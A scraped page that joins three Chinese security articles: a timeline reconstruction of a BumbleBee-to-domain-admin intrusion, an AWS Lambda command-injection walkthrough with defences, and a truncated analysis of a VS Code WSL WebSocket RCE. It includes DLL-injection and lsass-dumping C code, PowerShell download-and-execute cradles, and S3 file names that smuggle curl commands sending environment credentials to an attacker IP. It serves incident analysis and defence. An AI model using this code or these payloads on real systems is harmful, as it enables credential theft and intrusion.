  10. 0 前言实战案例还原《BumbleBee Roasts Its Way To Domain Admin》一文详细的描述了一次渗透案例,但其文章组织架构建立在ATT&CK框架上,而不是按照时间线逻辑来组织,因此对于渗透人员了解学习其前后过程有些困难,特此梳理一番,按照时间线还原实战。 《BumbleBee Roasts Its Way To Domain Admin》原文链接 1 第一天(Day1)1.1 样本投递看起来是通过邮件中的下载链接投递到的目标环境中的机器,该样本是一个有密码的压缩包。解压缩后释放文件BC_invoice_Report_CORP_46.iso。当挂载这个ISO文件,会释放一个LNK文件documents.lnk,当双击这个快捷方式时会执行隐藏的恶意加载器。快捷方式的目标如下: 1.1.1 rundll32解析使用rundll32加载执行是常用渗透套路,可以执行dll中的程序,一般还可以用来获取shell: set srvhost 10.x.x.x exploit 1.2 加载恶意程序大黄蜂(BumbleBee)加载器大黄蜂(BumbleBee)返回Cobalt Strike Session,攻击者利用这个Cobalt Strike的shell释放wab.exe,该可执行文件将有wmi执行。 wab.exe将恶意代码注入到其他两个进程explorer.exe和rundll32.exe中。这里根据原文来看使用的是远线程注入,及使用经典的OpenProcess、VirtualAlloc、WriteProcessMemory、CreateRemoteThread这些Windows系统调用API进行进程注入。根据这些描述,攻击者此刻是具备至少Administrator权限,一般情况下具备了Administrator权限也就有了System权限,从文章描述来看,攻击者使用了getsystem来提权。远线程注入实例代码如下: BOOL CreateRemoteThreadInjectDLL(DWORD dwProcessId, char* pszDllFileName){ HANDLE hProcess = NULL; DWORD dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL; hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);//打开进程,获取进程句柄 dwSize = 1+ ::lstrlen(pszDllFileName); //获取dll大小 pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);//申请内 ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL);//向内存中写入dll pFuncProAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibiaryA");//获取函数LoadLibraryA的函数地址 HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, Null);//创建远线程 ::CloseHandle(hProcess); return TRUE; } 1.3 被控主机信息收集攻击者使用多种命令来收集操作系统、网络、用户、软件、进程、域等信息: #获取网络信息包含domain ping -n 1 [domain] #测试domain连通性 net group "domain admins" /domain #获取域管组成员 nslookup x.x.x.x #获取x.x.x.x IP地址 tasklist #获取进程信息 systeminfo #获取系统信息 wmic product get name,version #获取软件信息 wmic /node"<redacted> process list brief #获取进程信息 net view \\<redacted>\Files$ /all #列远程服务器Files共享目录 dir \\<redacted>\c$\ #列c盘目录 tasklist /v /s x.x.x.x #远程获取x.x.x.x 进程详细信息 net use net group "Domain computers" /domain net group "Enterprise admins" /domain net group "domain computers" /domain net localgroup administrators nltest /dclist nltest /domain_trusts ping -n 1 <remote_ip> 根据上文执行的命令来看攻击者已经获取了远端服务器x.x.x.x的权限或者用户名和口令。 1.4 横向移动到服务器并继续收集信息原文描述利用local admin账号通过RDP协议横向移动到一台服务器,并释放了AnyDesk.exe作为后门,然后开始利用adfind.exe继续进行信息收集(根据描述,看来该服务器在域内): "(objectcategory=person)" > ad_users.txt cmd.exe /C af.exe -f "objectcategory=computer" > ad_computers.txt cmd.exe /C af.exe -sc trustdump > trustdump.txt cmd.exe /C af.exe -gcb -sc trustdump > trustdump.txt 2 第二天(Day2)2.1 在服务器上继续收集信息攻击者继续使用RDP登录该服务器,并上传了VulnRecon,一款专门设计用来在Windows机器上标识权限提升的路径的工具。 3 第四天(Day4)3.1 在被控主机上继续收集信息攻击者在被控主机上及环境中的多台机器,上传了VulnRecon工具和Sysinternals tool工具套件 ,使用VulnRecon、adfind、procdump等工具继续信息收集。其中他们使用远程服务来执行procdump来提取lsass.exe的内存从而获取凭据,根据描述他们至少又获得了几台主机和至少一台服务器的权限。截止目前看起来尚未获取与管理或更高的权限。使用adfind的过程发生在原始被控主机上,当然也不排除在新的横移到的主机上进行。 "(objectcategory=person)" > ad_users.txt cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt cmd.exe /C adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt cmd.exe /C adfind.exe -sc trustdump > trustdump.txt 3.1.1 VulnRecon 解析VulnRecon有一个可执行文件和一个dll组成,分别是vulnrecon.exe和vulnrecon.dll,用来枚举权限提升的方式以及信息收集,看起来是自定义的工具,上传到原始被控主机上,当然也不排除在新的横移到的主机上进行。 # #vulnrecon.dll PDB: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\standalone\Release\apphost.pdb #vulnrecon.exe PDB: D:\work\rt\VulnRecon\VulnRecon\obj\Release\net5.0\VulnRecon.pdb # command vulnrecon.exe -v vulnrecon.exe -o vulnrecon.exe -FindVulnerability vulnrecon.exe -i vulnrecon.exe -m cmd.exe /c vulnrecon.exe -FindVulnerability >> c:\programdata\log.txt cmd.exe /c vulnrecon.exe -i >> c:\programdata\1.txt cmd.exe /c vulnrecon.exe -o >> c:\programdata\out.txt 看起来提权是为了执行procdump获取lsass内存的,发生在原始被控主机上。 ### 3.2 获取lsass中的凭据根据描述dump出来的文件保存在ProgramData中,利用net use等方式可以获取回来,使用mimikatz或者pypykatz进行破解。这些过程发生在从原始被控主机发现并横向移动到的那些受害主机和服务器上。 4 第七天(Day7)4.1 在被控服务器上继续收集信息攻击者持续使用VulnRecon在服务器上进行信息收集,并且还使用了Seatbelt工具(一款常用的信息收集工具)。根据描述使用的是服务器的本地管理员权限。 "C:\ProgramData\seatinfo.txt" vulnrecon.exe -o vulnrecon.exe -v vulnrecon.exe -m cmd.exe /c vulnrecon.exe -FindVulnerability >> c:\programdata\log.txt 5 第十一天(Day11)5.1 在被控主机上反弹shell攻击者持续被控主机上执行powershell命令,下载执行a文件的内容: -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))" 根据在a中发现的cobalt strike 的默认配置字符MZRE可以断定,这是一个回连C2地址的 cobalt strike的指令。然后攻击者获取了一个被控主机到攻击者控制的C2。 ![](https://img2022.cnblogs.com/blog/1070321/202208/1070321-20220817170635532-83148076.png)然后开始向其他进程进行注入,根据原文描述,应该注入到了类似svchost.exe等几个进程。然后攻击者执行了powershell模块Invoke-Kerberoast,开始了kerberoasting攻击。这里依然是从被控主机开始都发起的。 #父进程 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:36177/'); Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath C:\ProgramData\REDACTED\ps.txt -append -force -Encoding UTF8 # 可以看出输出是hashcat模式,攻击应该是使用hashcat进行暴力破解 5.1.1 kerberoasting攻击解析kerberoasting攻击解析分为两种:TGS-Kerberoasting和 AS-Kerberoasting,可以使用rubeus.exe、msf、powershell进行,其获取的事Net-NTLMHash,可以使用hashcat等工具进行破解从而获得ntlmhash或者password。 5.2 使用Minidump进行凭据提取攻击者又开始使用可以规避卡巴斯基的凭据提取方式minidump进行凭据提取。这里依然是从被控主机开始都发起的。 #父进程 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc cmd.exe /C rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 968 C:\ProgramData\REDACTED\lsass.dmp full 5.2.1 Minidump解析攻击者又开始使用可以规避卡巴斯基的凭据提取方式minidump进行凭据提取。这里依然是从被控主机开始都发起的。 #include <stdio.h> #include <Windows.h> #include <tlhelp32.h> typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline); int GetLsassPid() { PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (Process32First(hSnapshot, &entry)) { while (Process32Next(hSnapshot, &entry)) { if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) { return entry.th32ProcessID; } } } CloseHandle(hSnapshot); return 0; } void GetDebugPrivilege() { BOOL fOk = FALSE; HANDLE hToken; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); fOk = (GetLastError() == ERROR_SUCCESS); CloseHandle(hToken); } } void DumpLsass() { wchar_t ws[100]; _MiniDumpW MiniDumpW; MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW"); swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full"); GetDebugPrivilege(); MiniDumpW(0, 0, ws); } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: DumpLsass(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } 我自己曾经编译过该文件,在这里再次感谢曾经A-Team的大佬们带给我的渗透技术视野和国外XPN大牛乐于分享的精神。 编译和使用方式参考 5.3 在被控主机上继续信息收集在初始被控主机上继续使用adfind收集信息。 "(objectcategory=person)" > ad_users.txt cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt cmd.exe /C adfind.exe -sc trustdump > trustdump.txt 5.4 在初始被控机器上再次执行powershell,与之前的相同攻击者持续被控主机上执行powershell命令,下载执行a文件的内容: -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))" 以上过程在5.1中有详细描述不再赘述 5.5 在更多机器上信息收集在更多机器上执行下列命令: whoami C:\Windows\system32\cmd.exe /C net view \\x.x.x.x\ /all C:\Windows\system32\cmd.exe /C wmic /node:x.x.x.x process list brief C:\Windows\system32\cmd.exe /C net ""domain controllers" /domain C:\Windows\system32\cmd.exe /C net nltest /dclist:[domain] 5.6 两个批处理脚本攻击者上传并执行两个脚本s.bat和w.bat,这两个脚本可以分析和发现环境内的其他目标。 # s.bat echo off for /f %%i in (servers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> serv.log # w.bat @echo off for /f %%i in (workers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> work.log 5.7 最后两个脚本运行之后,一个新的cobalt strike的session在初始被控的机器上再次运行上线,然后攻击者使用一个服务账号进行横移,在域控上执行获取一个cobalt strike的session,根据原文描述这里是一个弱口令,被hashcat破解tgs-kerberoasting得到的net-ntlm hash的值这个操作所爆破出来,攻击者在域控上dump lsass。exe的进程内存从而获取到domain admin的权限,打穿域控 原文来源: https://www.cnblogs.com/KevinGeorge/p/16595912.html
  11. 在本文中,我們將從黑盒測試和白盒測試的角度為大家解釋一個真實的攻擊場景:攻擊者是如何使用易受攻擊的AWS Lambda函數獲得對雲環境的初始訪問權限的。最後,我們將為大家介紹針對這種攻擊手法的最佳防禦實踐。 眼下,無服務器技術正在成為業務應用程序的主流,有了它,用戶無需管理底層基礎設施即可實現可擴展性、性能和成本效益。並且,這些工作負載可以輕鬆擴展到每秒數千個並發請求。實際上,雲環境中使用最多的無服務器服務之一,就是AWS Lambda服務。 在考察應用程序的時候,一個基本要素就是安全性。比如,代碼中的錯誤或缺乏用戶輸入驗證不僅可能會導致功能受損,而且還可能導致雲帳戶被入侵。 關於AWS Lambda函數AWS Lambda是一種事件驅動的無服務器計算服務,允許運行用不同編程語言編寫的代碼,從而實現基於雲環境的自動化操作。 這種方法的主要優勢之一是,Lambda是在由AWS直接管理的高可用計算基礎結構中運行我們的代碼的。也就是說,與底層基礎設施相關的所有管理活動,包括服務器和操作系統維護、自動伸縮、修補和日誌記錄等,都是由雲供應商替我們完成的。 用戶只需在這些服務上運行實現自己所需功能的代碼就可以了。 安全共擔之痛對於雲環境的安全來說,雖然本質上是由雲供應商來管理的,但仍然允許用戶進行相應的配置,所以,安全問題和風險實際上與參與雙方共擔的。 由於用戶無法控制特定Lambda函數背後的基礎設施,因此,底層基礎設施的安全風險實際上是由雲供應商直接管理的。 通過AWS IAM,用戶可以限制lambda函數及其組件的訪問權限和允許的操作。如果對IAM角色或Lambda函數使用的對象的權限配置出錯,可能會造成嚴重的後果,導致雲環境被攻擊者拿下。更重要的是,在Lambda函數中實現的代碼是由用戶控制的,正如我們在後門所看到的,如果代碼中存在安全漏洞,該函數則可能被攻擊者用來訪問云賬戶並進行橫向移動。 攻擊場景我們將使用兩種不同的測試方法來考察兩個攻擊場景:黑盒測試和白盒測試,這是滲透測試中用來評估特定基礎設施、應用程序或功能的安全態勢的兩種主要測試方法。 從不同的角度來看Lambda函數將有助於更深入、更全面地了解我們函數的安全態勢,並幫助我們更好地理解可能的攻擊和相關風險。 黑盒測試與白盒測試進行黑盒測試時,攻擊方並不具備環境本身和軟件系統內部原理的任何信息。在這種測試方法中,攻擊者需要對特定功能的邏輯背後可能隱藏的內容做出假設,並不斷測試這些假設,以找到切入點。對於我們的場景,攻擊者既沒有云環境的任何訪問權限,也沒有任何關於雲環境或帳戶中可用的功能和角色的內部信息。 在白盒測試中,由於攻擊者已經獲得了內部信息,因此,他們可以在攻擊過程中利用這些信息。在進行這種測試時,我們假設攻擊者擁有查找可能的漏洞和安全問題所需的所有信息。 因此,白盒測試被認為是最全面的測試方式。在我們的場景中,攻擊者在雲環境中具有隻讀的初始訪問權限,他們可以使用這些信息來評估已經部署的東西,以更好地鎖定攻擊目標。 #1黑盒測試場景 在這個攻擊場景中,攻擊者發現一個S3桶因為配置有誤而向公眾開放,其中含有公司的各種文件。 攻擊者能夠將文件上傳到存儲桶中,並在上傳後檢查文件配置。儘管攻擊者對Lambda中實現的代碼一無所知,但仍可以通過Lambda函數來獲得每個上傳文件的標籤。 我們可以使用AWS CLI來列出prod-file-bucket-eu這個桶內的所有對象。 awss3lsprod-file-bucket-eu 我們通過上傳文件獲得信息的一種方式就是檢查標籤,看看是否可以找到一些有用的信息。使用get-object-tagging,我們可以看到分配給該文件的標籤如下所示: awss3apiget-object-tagging--bucketprod-file-bucket-eu--keyconfig161.zip 這些標籤肯定是自定義的,並在將文件上傳到存儲桶時動態添加。據推測,應該存在一種函數,用於添加與文件大小和路徑相關的標籤。 使用curl或awscli,我們可以嘗試上傳一個zip文件,看看標籤是否會自動添加到我們的文件中。 awss3cpconfig.zips3://prod-file-bucket-eu/ curl-XPUT-Tconfig.zip\ -H'Host:prod-file-bucket-eu.s3.amazonaws.com'\ -H'Date:Thu,02Dec202115:47:04+0100'\ -H'Content-Type:${contentType}'\ http://prod-file-bucket-eu.s3.amazonaws.com/config.zip一旦文件上傳,我們可以檢查文件標籤,結果表明標籤已經自動添加。 awss3apiget-object-tagging--bucketprod-file-bucket-eu--keyconfig161.zip 所以,我們可以非常確定的一點是:這些值背後存在一個AWS Lambda函數。當一個新對像在存儲桶中創建時,該函數似乎就會被觸發。當然,Path和Size這兩個標籤,似乎是為每個文件動態計算的,可能是通過執行OS命令檢索到的信息。 我們可以假設文件名用於在操作系統中查找文件,併計算文件大小。換句話說,文件名可能是用戶輸入,在OS命令中使用它來檢索要放入標籤中的信息。如果缺少用戶輸入驗證,攻擊者就可以通過向計算機提交精心構造的輸入來執行任意命令。 在這種情況下,我們可以嘗試在文件名中註入其他命令來實現遠程代碼執行。使用分號連接命令是將任意命令附加到用戶輸入中的一種常見方法,這樣,如果用戶輸入沒有得到很好的過濾,代碼就可能會執行這些命令。 讓我們嘗試追加命令curl來打開與另一個EC2的連接,為此,我們可以使用POST方法發送測試消息“testrceCurl”。 awss3cpconfig.zip's3://prod-file-bucket-eu/screen;curl-XPOST-d'testRCECurl'3.80.92.111:443;'從下面的屏幕中,我們可以看到命令已正確執行,並且我們收到了連接和POST消息。 通過這種方式,我們證明了用戶輸入根本沒有經過驗證,因此,我們可以在AWS Lambda OS上成功地執行任意命令。我們可以利用這個安全漏洞直接訪問云環境。 提取AWS憑據的方法之一,就是通過env變量。在這方面,我們已經證明,我們可以回連攻擊者的機器,並將env變量的內容髮送到POST消息中,以從中提取信息。 awss3cpconfig.zip's3://prod-file-bucket-eu/screen;curl-XPOST-d'`env`'3.80.92.111:443;zip' 使用curl命令,我們成功地獲取了雲憑據,並且可以使用這些憑據登錄到雲帳戶。這樣,我們就可以導入AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY和AWS_SESSION_TOKEN,從get-caller-identity輸出中可以看到,我們登錄成功了。 awsstsget-caller-identity { 'UserId':'AROA2PVZZYWS7MCERGTMS:corpFuncEasy', 'Account':'AccountID', 'Arn':'arn:aws:sts:AccountID:assumed-role/corpFuncEasy/corpFuncEasy' }一旦進入,攻擊者就可以啟動枚舉過程來評估獲得的特權,並查看是否存在進一步提升雲帳戶特權的路徑。 #1白盒測試場景 下面,讓我們對前面提出的相同攻擊場景——攻擊者發現了配置錯誤的S3存儲桶——進行白盒測試。在這種情況下,攻擊者可以通過網絡釣魚竊取憑據來訪問云環境,而受攻擊的用戶帳戶權限為:只讀權限。 由於具有隻讀訪問權限,攻擊者可以合併從lambda函數中實現的代碼中獲得的信息,以更好地發動針對性攻擊。 讓我們從檢查獲得的憑據是否對登錄雲帳戶有效開始入手。 awsstsget-caller-identity { 'UserId':'AIDA2PVZZYWS3MXZKDH66', 'Account':'AccountID', 'Arn':'arn:aws:iam:AccountID:user/operator' } 一旦登錄,我們就可以開始評估相關用戶或組的特權。在本例中,我們可以看到這裡附加了以下策略。 awsiamlist-attached-user-policies--user-nameoperator 我們只有隻讀權限,所以,接下來可以收集已經部署到賬戶中的信息,特別是關注配置錯誤的S3桶。 就像我們在黑盒測試場景中看到的那樣,我們可以合理地假設,發現的開放型存儲桶有一個lambda函數。因此,如果找到有關lambda函數的額外信息,將有助於更好地發動攻擊。 通過命令list-functions,我們可以看到賬戶中可用的lambda函數。就這裡來說,我們找到了corpFuncEasy函數及其相關信息,特別是該函數所使用的角色。 awslambdalist-functions 通過get-function,我們可以深入研究之前找到的lambda函數。在這裡,我們可以找到一些基本的信息,如下載函數代碼的鏈接。 wslambdaget-function--function-namecorpFuncEasy { 'Configuration':{ 'FunctionName':'corpFuncEasy', 'FunctionArn':'arn:aws:lambda:us-east-1:AccountID:function:corpFuncEasy', . }, 'Code':{ 'RepositoryType':'S3', 'Location':'https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/AccountID/corpFuncEasy-9c1924b0-501a-.' }, 'Tags':{ 'lambda-console:blueprint':'s3-get-object-python' } }通過檢查代碼,我們可以更好地評估函數的安全性,並查看是否應用了安全最佳實踐。 在這段代碼中,我們可以看到上傳的文件被放入/tmp/folder中,文件路徑直接用於subprocess命令並執行。 我們看到,這裡並沒有對文件名應用任何輸入驗證,也就談不上安全過濾了。現在,我們更清楚前面提到的攻擊為什麼能成功了。 在這裡,使用的文件名為“screen.zip;curl -X POST -d “testRCECurl” 3.80.92.111:443”,相應的subprocess命令如下所示: 'stat-c%sscreen.zip;curl-XPOST-d'testRCECurl'3.80.92.111:443'正如我們所看到的,使用分號字符,我們可以在stat命令後面追加其他要執行的命令。正如我們前面提到的,執行curl命令後,字符串將發送到攻擊系統的443端口。 如何防禦這種攻擊我們已經從黑盒測試和白盒測試的角度考察了相應的攻擊場景,但是我們如何進行防禦呢?在考察的場景中,我們涵蓋了不同的AWS組件,如S3桶和AWS lambda函數,但是某些安全因素被忽略了。 為了成功地緩解這種情況,我們可以在不同的級別和不同的特性上採取行動。特別是,我們可以: 1、 禁用S3桶的公共訪問權限,這樣它就只能從內部訪問,並且只能被通過了雲賬戶認證的用戶訪問。 2、 檢查lambda函數中使用的代碼,以確保裡面沒有任何安全漏洞,所有的用戶輸入都按照安全編寫代碼的安全準則進行了正確處理。 3、 在應用於雲特性的所有AWS IAM角色中應用最小特權原則,以避免不必要的操作或在帳戶內出現特權提昇路徑。 下面,讓我們來看看上面提到的所有要點,詳細了解應該如何部署這些緩解措施。 禁用S3桶的公共訪問權限S3桶是AWS中用作存儲的關鍵組件之一;S3桶經常被那些入侵雲賬戶的攻擊者所利用。 盡可能地保持S3桶的安全,應用所有可用的安全設置,避免對我們的數據或文件進行不必要的訪問,這一點至關重要。 就本例來說,存儲桶是公開的,所有未經授權的用戶都能夠對它進行讀取和寫入操作。為了避免這種情況,我們需要確保桶是可用的,私下里應用以下安全設置來限制訪問。 此外,通過對存儲桶施加ACL,可以定義允許對它執行哪些操作,以及可以訪問桶中的哪些對象;對於其他的操作和對象,則一律拒絕。 { 'Version':'2012-10-17', 'Statement':[ { 'Sid':'PublicReadGetObject', 'Effect':'Allow', 'Principal':'*', 'Action':[ 's3:GetObject', 's3:PutObject' ], 'Resource':'arn:aws:s3:3bucket********/www/html/word/*' }, { 'Sid':'PublicReadListObject', 'Effect':'Allow', 'Principal':'*', 'Action':'s3:List*', 'Resource':'arn:aws:s3:s3bucket********/*' } ] }審查lambda函數內部使用的代碼與任何其他Web應用程序一樣,保證代碼是按照安全最佳實踐來實現的,是避免安全問題的根本所在。當然,Lambda函數中的代碼也不例外,我們需要確保代碼是安全的、無懈可擊的。 就本案例來說,請看下面的代碼片段: file_count_KB=subprocess.check_output( 'stat-c%s'+file_download_path, shell=True, stderr=subprocess.STDOUT ).decode().rstrip()其中,變量file_download_path保存有完整的文件路徑,包括文件名。該路徑直接連接到命令行以執行命令。但是,文件名是由用戶決定和控制的,因此,在將路徑附加到命令中之前,我們需要根據允許的字符進行適當的用戶輸入驗證和過濾。 為了進行正確、有效的驗證,我們需要清楚地知道哪些字符是允許的,哪些字符將包含在字符串中,並應用輸入驗證的最佳實踐。 借助於正則表達式,我們可以只允許特定文件路徑中出現的字符,並在攻擊者試圖提交不良字符時阻止其執行。在下面的例子中,我們可以看到一個用正則表達式來驗證linux文件路徑的例子。 pattern='^\/$|(\/[a-zA-Z_0-9-]+)+$' ifre.match(pattern,file_download_path): file_count_KB=subprocess.check_output( 'stat-c%s'+file_download_path, shell=True, stderr=subprocess.STDOUT ).decode().rstrip()需要說明的是,這個正則表達式是針對我們要驗證的字段或輸入的。 OWASP提供了很好的最佳實踐指南,當您需要處理任何類型的用戶輸入時,請遵循該指南。 在AWS IAM角色中應用最小特權原則藉助於AWS身份和訪問管理(IAM),我們可以安全地管理對AWS服務和資源的訪問。正如我們在第一節中所說,用戶負責管理身份和訪問管理層,並使用權限來控制對AWS資源的訪問。 由於雲環境中可用權限的粒度較細,所以,我們建議遵循最小特權原則,精確地賦予用戶執行其操作所需的權限。如果為用戶賦予了過大的權限,攻擊者可能利用這一點實現權限提升。 在黑盒測試場景中,攻擊者能夠使用與lambda函數關聯的AWS角色登錄帳戶。 攻擊者可能會繼續攻擊並提升自己在AWS內部的權限,因為可能存在特權配置錯誤。通過對分配給lambda函數的角色授予所需的最低權限,我們可以攻擊者提權路徑最小化,以確保即使遭到入侵,也不會危及整個雲環境。 當然,要想清楚地了解每個組、用戶或資源附加了哪些政策和角色,也並不是那麼容易。不過,我們可以藉助於持續監視雲中異常活動的安全工具,來生成安全事件。在AWS中,通過使用正確的工具,我們可以從CloudTrail事件和其他來源收集事件,以輕鬆地評估和加固雲環境的安全性。 小結雖然AWS Lambda函數在可擴展性和性能方面具有很大的優勢,但是,如果不以最佳實踐方式對安全進行全方位的管理,這些無服務器函數可能會被攻擊者濫用,成為入侵AWS賬戶的利器。 在Lambda代碼中施加適當的輸入驗證,在函數觸發器中應用安全最佳實踐,對於防禦攻擊者的入侵活動是至關重要的。正如在雲環境中經常發生的那樣,確保在IAM權限方面應用最小權限的原則,可以有效防禦提權攻擊。
  12. 適用於Linux 的Windows 子系統中的Visual Studio Code 服務器使用本地WebSocket WebSocket 連接與遠程WSL 擴展進行通信。網站中的JavaScript 可以連接到該服務器並在目標系統上執行任意命令。目前該漏洞被命名為CVE-2021-43907。 這些漏洞可以被用於: 本地WebSocket 服務器正在監控所有接口。如果允許通過Windows 防火牆,外部應用程序可能會連接到此服務器。 本地WebSocket 服務器不檢查WebSocket 握手中的Origin 標頭或具有任何身份驗證模式。瀏覽器中的JavaScript 可以連接到該服務器。即使服務器正在監控本地主機,也是如此。 我們可以在特定端口上生成一個Node Inspector示例,它還監控所有接口。外部應用程序可以連接到它。 如果外部應用程序或本地網站可以連接到這些服務器中的任何一個,它們就可以在目標計算機上運行任意代碼。 關於源代碼的說明Visual Studio Code 庫是不斷更新的。我將使用一個特定的提交(b3318bc0524af3d74034b8bb8a64df0ccf35549a)。 $gitclonehttps://github.com/microsoft/vscode$gitreset--hardb3318bc0524af3d74034b8bb8a64df0ccf35549a我們可以使用Code (lol) 來導航源代碼。事實上,我已經在WSL 中為這個漏洞創建了具有相同擴展名的概念驗證。 Visual Studio Code在WSL 內以服務器模式運行,並與Windows 上的代碼示例對話(我稱之為代碼客戶端)。這使我們可以在WSL 中編輯文件和運行應用程序,而不需要運行其中的所有內容。 遠程開發架構 可以通過SSH 和容器在遠程計算機上進行遠程開發。 GitHub Codespaces 使用相同的技術(很可能通過容器)。 在Windows 上使用它的方法: 1.打開一個WSL終端示例,在Windows上的代碼中應該可以看到遠程WSL擴展; 2.在WSL 中運行code /path/to/something; 3.如果未安裝代碼服務器或已過時,則會下載它; 4.VS Code 在Windows 上運行; 5.你可能會收到一個Windows 防火牆彈出窗口,用於執行如下所示的可執行文件: 服務器的防火牆對話框 這個防火牆對話框是我執行失敗的原因。出現該對話框是因為VS Code 服務器想要監控所有接口。 從我信任的Process Monitor開始: 1.運行進程監控器; 2.在WSL中運行code . 3.Tools Process Tree; 4.我運行代碼(例如,Windows Terminal.exe)的終端示例中運行Add process and children to Include filte。 Procmon 的進程樹 經過一番挖掘,我發現了VSCODE_WSL_DEBUG_INFO 環境變量。我只是在WSL 中將export VSCODE_WSL_DEBUG_INFO=true 添加到~/.profile 。運行服務器後我們會得到額外的信息。 VSCODE_WSL_DEBUG_INFO=true 輸出被清理。 檢查命令行參數。 可以看到出現了WebSocket詞彙。 運行Wireshark 並捕獲loopback接口上的流量。然後我再次在WSL 中運行代碼。這次可以看到兩個WebSocket 握手。 在Wireshark 中捕獲的WebSocket 連接 該運行中的服務器端口是63574,我們也可以從日誌中看到。在Windows 上的代碼客戶端中打開命令面板(ctrl+shift+p) 並運行Remote-WSL: Show Log。 遠程WSL:顯示日誌 最後一行有端口:在http://127.0.0.1:63574/version 上打開本地瀏覽器。我們還可以看到從Windows 上的Code 客戶端到服務器的兩個單獨的WebSocket 連接。 為什麼要監聽所有接口?服務器是位於/src/vs/server/remoteExtensionHostAgentServer.ts#L207 的RemoteExtensionHostAgentServer 的一個示例。 它被createServer 在同一個文件中使用,我們可以使用Code (lol) 找到它的引用並追踪到remoteExtensionHostAgent.ts(同一目錄)。 可以根據註釋查看main.js 內部。 打開文件,看到服務器可以從傳遞給main.js的參數中獲得主機和端口。 main.js 被server.sh 調用: 沒有IP 地址傳遞給腳本,我認為這就是為什麼服務器監控所有有趣的事情。 port=0 可能告訴服務器使用臨時端口,此信息來自同一目錄中的wslServer.sh。 本地WebSocket 服務器每次看到本地WebSocket 服務器時,都應該檢查誰可以連接到它。 WebSocket 連接不受同源策略約束,瀏覽器中的JavaScript 可以連接到本地服務器。 WebSockets 從握手開始,在跨源資源共享或CORS 的上下文中它始終是一個“簡單”的GET 請求,因此瀏覽器不需要預先請求就可以發送它。 測試本地WebSocket 服務器可以快速創建一個嘗試連接到特定端口上的本地WebSocket服務器的測試頁面,將它託管在某個遠程位置(例如,S3 存儲桶)並在計算機上打開它。如果連接成功,就可以繼續操作了。 我還檢查了Burp,在Burp Repeater 中創建了WebSocket 握手。將Origin 標頭修改為https://example.net。如果響應具有HTTP/1.1 101 交換協議,那麼就可以繼續了。 在Burp 中測試 注意,這只對本地主機服務器有影響。這裡的服務器也對外公開,攻擊者不受瀏覽器約束。它們可以直接連接到服務器並提供任何Origin 標頭。 逆向工程協議接下來是查看Wireshark 中的流量,右鍵點擊之前的WebSocket握手GET請求,然後選擇Follow TCP Stream。我們將看到一個帶有一些可讀文本的屏幕。關閉它,只會看到這個進程的數據包,這允許我們只關注這個進程。 你可能會問為什麼我關閉了僅包含消息內容的彈出窗口,因為沒有用。根據RFC6455,從客戶端到服務器的消息必須被屏蔽。這意味著它們與一個4 字節的密鑰(也隨消息一起提供)進行了異或運算。 Wireshark 在選擇時取消屏蔽每個數據包,但有效載荷在初始進程彈出窗口中顯示為屏蔽。所以我們將看到純文本的服務器消息,而客戶端消息被屏蔽並出現亂碼。如果你點擊單個消息,Wireshark 就會顯示有效載荷。 我花了幾天時間對協議進行逆向工程。後來,我意識到只能在/src/vs/base/parts/ipc/common/ipc.net.ts 中看到協議的源代碼。 協議握手來自服務器的第一條消息是KeepAlive 消息。 在協議定義中,我們可以看到不同的消息類型。 在/src/vs/platform/remote/common/remoteAgentConnection.ts 中,它在代碼的其他部分被稱為OKMessage 和heartbeat。 客戶端在/src/vs/platform/remote/common/remoteAgentConnection.ts的connectToRemoteExtensionHostAgent中處理此問題。客戶端(Windows上的代碼)發送這個包,它是一個KeepAlive和一個單獨的認證消息。 最初,我認為長度字段是12 個字節而不是4 個字節,因為其餘的字節總是空的。然後我意識到只有常規消息使用消息ID 和ACK 字段,而且我只看到了不規則的握手消息。 在修復之前,沒有勾選此選項。 注意:在2021-11-09 更新之前(commit 